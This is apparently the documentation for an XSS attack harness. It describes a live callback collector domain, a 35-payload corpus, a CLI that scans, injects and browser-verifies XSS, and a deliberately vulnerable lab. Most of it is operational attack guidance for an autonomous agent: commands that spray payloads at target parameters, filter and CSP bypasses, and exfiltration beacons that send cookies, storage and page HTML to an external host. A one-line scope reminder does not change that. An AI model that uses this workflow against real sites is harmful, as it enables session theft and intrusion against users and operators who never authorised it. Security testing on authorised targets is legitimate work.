What this is
An XSS test harness with three parts: a web callback collector that records every proof of execution, a payload corpus that renders itself with your live callback URL, and an autonomous CLI that scans, injects, and confirms in a real browser.
Domain: https://thisistotallynotforxssinjection.xyz · VM: 45.153.34.74
The collector runs on the VM behind nginx and Cloudflare. It answers on every hostname, so both the domain and the bare IP work. It is not a scanner and it is not a proxy — it is the ground truth that turns "the parameter reflected my markup" into "a browser executed my script and sent the cookie back".
An agent uses it in a fixed loop: find an input that echoes, work out the syntactic position, choose a payload for that position, fire it, load the injected URL in a headless browser to confirm, then read the callback.
Why the pieces exist
- The collector — a reflected payload is only a hypothesis. A recorded hit with a cookie, a URL and a user agent is proof. Hits are timestamped, IP-attributed and labelled.
- The corpus — 35 payloads organised by injection context, each with an expected outcome and notes. Keeps the agent from re-inventing markup syntax under time pressure.
- The CLI — does the boring, error-prone parts: canary reflection, context detection, per-context encoding, callback waiting, verdict reporting.
- The lab — 12 intentionally vulnerable pages. Use it to sanity-check the harness before blaming a target.
python tools/xss.py selftest. It exercises reflection → payload → real browser → callback against the lab and tells you which link in the chain failed.
Repository map
| Path | Role |
|---|---|
server.py | Collector + lab + panel. Runs as xss.service under gunicorn. The token API, hits API, GIF/beacon responses and the vulnerable pages all live here. |
tools/xss.py | Agent CLI. scan, run, verify, poll, report, selftest. |
tools/hunt.py | HTTP layer: request building, per-context encoding, reflection classification, hit polling. |
tools/payloads.py | Corpus loader/renderer and the context scorer. |
tools/verify.py | Headless Chromium/Firefox/WebKit confirmation of execution. |
payloads/payloads.json | The corpus. Add payloads here; no code change needed. |
deploy/ · deploy.py | nginx template, installer, and the push script that runs both. |
data/workspace.json | Active token + callback base. Written by token/use, read by everything else. |
docs/index.html | This document. |
Workspaces & tokens
Every engagement gets its own token. The token is in the URL path of the callback and scopes both the hits and the read API, so two targets never mix results.
# create a workspace on the collector (writes data/workspace.json)
python tools/xss.py token --name "acme-corp" --api https://thisistotallynotforxssinjection.xyz
# or point at an existing one
python tools/xss.py use https://thisistotallynotforxssinjection.xyz/c/<token>/
python tools/xss.py status
A token is a capability, not a secret with rights. Anyone holding a callback URL can write hits to it; only the token holder can read them back. Revoke with python3 server.py revoke <token> on the VM, which drops the token and its hits.
The 6-step loop
Do them in order. Steps 1–2 are read-only and cheap; skipping them is the most common cause of a wasted spray.
| # | Step | Goal | Command |
|---|---|---|---|
| 1 | Recon | Which parameters reach the response at all? | scan |
| 2 | Read | What syntactic position does the echo land in? | scan output + reading the page |
| 3 | Pick | Choose payloads for that exact position | payloads --context |
| 4 | Fire | Inject and watch for a callback | run |
| 5 | Verify | Confirm a browser really executed it | verify |
| 6 | Harvest | Read the proof, export, report | poll, report |
1 · Recon
scan sends a literal canary to each parameter and classifies what comes back as verbatim, encoded or absent. It also guesses the context from the surrounding markup.
python tools/xss.py scan "https://target.example/search?q=hi&page=2" --discover
Exit code 0 = at least one parameter reflects, 2 = nothing reflects. Use --discover on pages without query parameters to pull candidate names from forms and links.
reflected: verbatim → the value lands in the document untouched. encoded → entities present, so send pre-encoded markup. absent → not reflected server-side; it may still reach a DOM sink, so check location.hash and JS sinks by hand.
Parameters that never reflect are not dead ends. Test them against DOM sinks: append the payload as a URL fragment (#...) and watch for a callback. verify will also catch a sink that fires.
2 · Read the context
Context decides which payload can work. Get this from the snippet field of the scan finding, or by fetching the page and looking at the raw source around the echo.
finding.snippet: ... <input value="canary" autocomplete=off> ... → attr-dq
finding.snippet: ... var v='canary';
If the snippet is thin, fetch the URL yourself and search for the echo. Never spray across unknown contexts — you get noise, not information.
3 · Pick a payload
python tools/xss.py payloads --context attr-dq
python tools/xss.py show attr-001 # render it with the real callback URL
Corpus categories: recon, execution, attribute, javascript, dom, markdown, bypass, exfil, csp. Start with the simplest payload that fits; escalate only when it dies.
For a fast pass use --spray, which walks a curated short list for the context and stops at the first callback.
4 · Fire
# sprayed attempt, automatic encoding per context
python tools/xss.py run --url "https://target.example/search" --param q \
--context attr-dq --spray --label "search-q"
# single targeted payload
python tools/xss.py run --url "https://target.example/search" --param q \
--payload-id attr-001 --label "search-q-attr001"
Verdicts: FIRE (callback recorded), REFLECTED (markup survived, no callback yet — usually needs a browser), DEAD (stripped). Only FIRE and REFLECTED are interesting.
Other injection points:
| Point | Flag |
|---|---|
| POST form field | --method POST |
| JSON body field | --method JSON |
| Cookie value | --method COOKIE --param session |
| Header (Referer, X-Forwarded-Host…) | --method HEADER --header Referer |
| Fixed companion params | --extra csrf=abc --extra lang=en |
| Authenticated session | --cookie "sid=abc123" |
5 · Verify
run only proves the server echoed markup. verify loads the injected URL in a real engine and reports whether script ran — via an in-page marker, a dialog, or a callback.
python tools/xss.py verify --url "<injected_url from run>"
Verdict EXECUTED (exit 0) or NOT_EXECUTED (exit 3). The result includes the DOM and any dialog text.
verify returns EXECUTED with a matching callback, or after a human confirms it in a browser.
For a sink that only fires on interaction, inject a handler and note the trigger:
# fires on hover — verify the DOM, tell the operator to hover
python tools/xss.py run --url "https://target.example/p" --param q --payload-id attr-002
6 · Harvest
python tools/xss.py poll --since 0 --label "search-q"
python tools/xss.py watch --duration 120
python tools/xss.py report --write out/acme.md
A hit carries timestamp, label, IP, path, query or body, referrer, cookie header and user agent. report renders markdown; share mints a read-only public link; GET /api/export?token=… returns a zip of JSON + CSV.
CLI reference
| Command | Does |
|---|---|
token --name N --api URL | Create a workspace, store it locally. |
use URL | Point at an existing callback base. |
| status | Config, collector reachability, hit count. |
scan URL [--discover] | Find reflecting parameters. |
payloads [--context] [--category] [--grep] | Browse the corpus. |
show ID | Render one payload + URL-encoded form. |
run --url --param [--context] [--spray] | Inject and wait for a callback. |
verify --url [--engine] | Confirm execution in a browser. |
poll [--since] [--label] | Read callbacks. |
watch [--duration] | Stream callbacks as NDJSON. |
report [--write] | Markdown summary. |
share [--note] | Read-only public result page. |
| clear | Delete hits for the workspace. |
fixate --cookie "a=b" | Build a document.cookie snippet. |
postmsg --page --payload | Deliver a postMessage to every frame. |
| selftest | End-to-end check against the lab. |
Exit codes: 0 success · 1 usage/config · 2 no reflection · 3 no execution · 4 transport. Every command prints JSON.
HTTP / API reference
Base: https://thisistotallynotforxssinjection.xyz
| Endpoint | Method | Notes |
|---|---|---|
/c/<token>/<label> | GET POST | The collector. Returns a 1×1 GIF by default, JS when the label ends in .js, plain ok for .txt. CORS *. Accepts anything after the token. |
/beacon.js | GET | Recon beacon: posts URL, cookies, storage, page HTML as JSON. |
/api/token | POST | {"name":"..."} → token + callback + panel. |
/api/hits | GET | ?token&since&limit&label → hits, maxId cursor. Newest first. |
/api/hits/<id> | GET | One hit. |
/api/clear | POST | Delete workspace hits. |
/api/share | POST | Public read-only link. |
/api/export | GET | Zip of JSON + CSV + metadata. |
/w/<token> · /w/<token>/raw | GET | HTML panel (3 s refresh) · NDJSON. |
/s/<slug> | GET | Public result page. |
/healthz | GET | Liveness + total hits. |
The collector answers 200 even for an unknown token, so a broken payload link never looks like an error. Only the read endpoints 404 on a bad token.
Context table
Context ids are what --context accepts and what scan guesses.
| Context | Echo lands in | First payload |
|---|---|---|
html | Page body, unescaped | base-002 |
attr-dq | Inside value="…" | attr-001 |
attr-sq | Inside value='…' | attr-002 |
attr-bare | Bare attribute value | attr-003 |
href | href / src / action | attr-005 |
js-string-sq | Single-quoted JS string | js-001 |
js-string-dq | Double-quoted JS string | js-002 |
js-template | Template literal | js-004 |
json-in-script | application/json block | js-005 |
dom-html | innerHTML / html() | dom-001 |
dom-js | eval / Function | dom-003 |
dom-url | location assignment | dom-004 |
postmessage | message handler → sink | dom-006 |
markdown | Markdown renderer | md-001 |
dom-html always use an event handler (<img onerror>, <svg onload>). Script tags only survive in html and dom-js contexts, and in document.write sinks.
Payload corpus
Placeholders are substituted at render time:
| Token | Becomes |
|---|---|
{{CB}} | Callback base, e.g. https://host/c/<token>/ |
{{CBQ}} | URL-encoded callback base |
{{COOKIE}} | document.cookie |
{{NONCE}} | Random hex tag for correlation |
Categories: recon (base-001 only — always run it first), execution, attribute, javascript, dom, markdown, bypass, exfil, csp. Every entry records the context it was written for, its expected result, and why it works — read notes before assuming a payload fits.
To extend it, add an object to payloads/payloads.json with id, name, category, context, encoding, payload, expect, notes. No code change needed; xss.py payloads picks it up immediately.
Encodings: none, url, url-strict, double-url, html, html-entities, json.
Training lab
Twelve deliberately broken pages on the collector host, one per context. Reach them at /lab.
| Page | Weakness |
|---|---|
/lab/reflect | Raw HTML reflection |
/lab/attr | Double-quoted attribute |
/lab/js | JS string literal |
/lab/dom | innerHTML from location.hash |
/lab/sink-eval | eval from location.hash |
/lab/filtered | Naive blacklist |
/lab/csp | Nonce CSP without unsafe-inline |
/lab/json | JSON in a script block |
/lab/svg | SVG context |
/lab/markdown | Naive markdown renderer |
/lab/redirect | Open redirect |
/lab/postmsg | postMessage → innerHTML |
python tools/xss.py scan "https://thisistotallynotforxssinjection.xyz/lab/reflect?q=hi" --discover
python tools/xss.py run --url "https://thisistotallynotforxssinjection.xyz/lab/reflect" --param q --spray
python tools/xss.py verify --url "<injected_url>"
python tools/xss.py selftest
Read the lab source (server.py, section lab pages) to see exactly what each filter does before trying to beat it.
Worked recipes
A · Reflected in an attribute on an authenticated page
python tools/xss.py scan "https://target/p?q=x" --cookie "sid=ABC"
python tools/xss.py run --url "https://target/p" --param q --context attr-dq \
--cookie "sid=ABC" --spray --label "p-q"
python tools/xss.py verify --url "<injected_url>"
B · POST search field
python tools/xss.py run --url "https://target/search" --param term --method POST \
--context html --spray --label "search-term"
C · Cookie reflected back into the page
# the payload rides in a header, so bytes must be URL-safe — use an entity-encoded payload
python tools/xss.py run --url "https://target/" --param "lang" --method COOKIE \
--context attr-dq --payload-id attr-001 --encoding url --spray
D · 500 error page
python tools/xss.py run --url "https://target/" --method HEADER \
--header "X-Forwarded-Host" --param X-Forwarded-Host \
--context html --payload-id base-003
E · JSON endpoint
python tools/xss.py run --url "https://target/api/search" --param q \
--method JSON --context json-in-script --payload-id js-005
Filter & CSP bypass
When the direct payload dies, change one variable at a time and watch the reflection:
- Case —
<ScRiPt>beats a case-sensitivestr_replace.bypass-001. - Other handlers — blocked lists usually name
onerror/onloadonly. Tryonfocus+autofocus,onpointerover,ontoggle. - Other tags —
<details open ontoggle>,<svg onload>,<body onpageshow>. - Entities —
javascript:when a prefix allowlist runs before decoding.attr-005. - Double encoding — for decode-twice pipelines.
bypass-005. - Nested contexts —
<noscript>,<textarea>, HTML comments,<title>all swallow markup differently. Two payloads in one value can help: one to escape, one to execute.
CSP. With a nonce policy, find a tag that echoes the nonce, or load an allowlisted external script (csp-002 → /beacon.js). With strict-dynamic, a nonce'd script can inject more scripts. When script is impossible, fall back to dangling markup (csp-001) to leak the HTML after the injection point.
Exfiltration
The default beacon sends cookies. Widen it when the finding is worth escalating:
exfil-001— POST of URL, cookies, localStorage, sessionStorage, page HTML, origin.exfil-002— localStorage/sessionStorage only, smaller footprint.exfil-003— no<script>, minimal syntax for hostile filters.exfil-004— content type, referrer, user agent for fingerprinting./beacon.js— same as 001 but external, for CSP allowlist cases.
Exfiltration is limited by HttpOnly: the cookie header at the collector shows only script-reachable cookies. Document that, and note that pre-existing document.cookie may already be non-empty.
Troubleshooting
| Symptom | Cause / fix |
|---|---|
scan reports everything absent | Server-side rendering may not reflect; test #fragment sinks, or POST/JSON points. A WAF may also strip the canary. |
run says REFLECTED, no callback | No browser visited the URL. Run verify. If the handler needs a hover/click, say so in the report. |
verify says NOT_EXECUTED | Markup correct but inert: wrong context, filtered handler, CSP, or <script> used in an innerHTML sink. |
| Payload appears HTML-escaped | Target entity-encodes. Either the parameter is escaped (find a different one) or you need a sink that decodes (dom-js, dom-url). |
| Callbacks land from an unexpected IP | Cloudflare is in front of the collector; the hit IP is the real client, restored from CF-Connecting-IP. |
run exits 4 | Transport failure: TLS, proxy, DNS, timeout. Confirm the URL opens in a browser first. |
POST /api/token returns 522 | Cloudflare cannot reach the origin. Check systemctl status xss nginx on the VM. |
| Mixed-content console error on an https target | Callback built over http://. Confirm X-Forwarded-Proto reaches the app and ProxyFix is loaded. |
| Lab page looks unstyled / hint text leaks | Escaping bug in lab_page; hints are escaped, payloads are not. |
Operator commands on the VM:
systemctl status xss nginx
journalctl -u xss -n 80 --no-pager
python3 /opt/xss/server.py token --name "x"
python3 /opt/xss/server.py list
python3 /opt/xss/server.py revoke <token>
nginx -t && systemctl reload nginx
Redeploy after editing the local tree:
python deploy.py
Rules for agents
- Canary first. Never send markup before
base-001orscanconfirms the echo. - Name the context. If you cannot state the context, you are guessing — go read the source.
- One change at a time. A payload that changes case, handler, tag and encoding at once teaches nothing when it fails.
- REFLECTED ≠ finding. Report execution only after
verifysaysEXECUTEDor a callback lands. - Label everything. Every attempt gets a label naming the parameter, so the report writes itself.
- Note the trigger. Click, hover, autofocus, load — record what makes it fire.
- Quote the proof. Save the injected URL and the raw hit next to the finding.
- Fresh token per engagement. Revoke when done.
- Mind scope. Only inject hosts the operator authorised; match the scheme, follow redirects, keep sessions in
--cookie. - Say what failed. A dead parameter and its filter behaviour is a real result.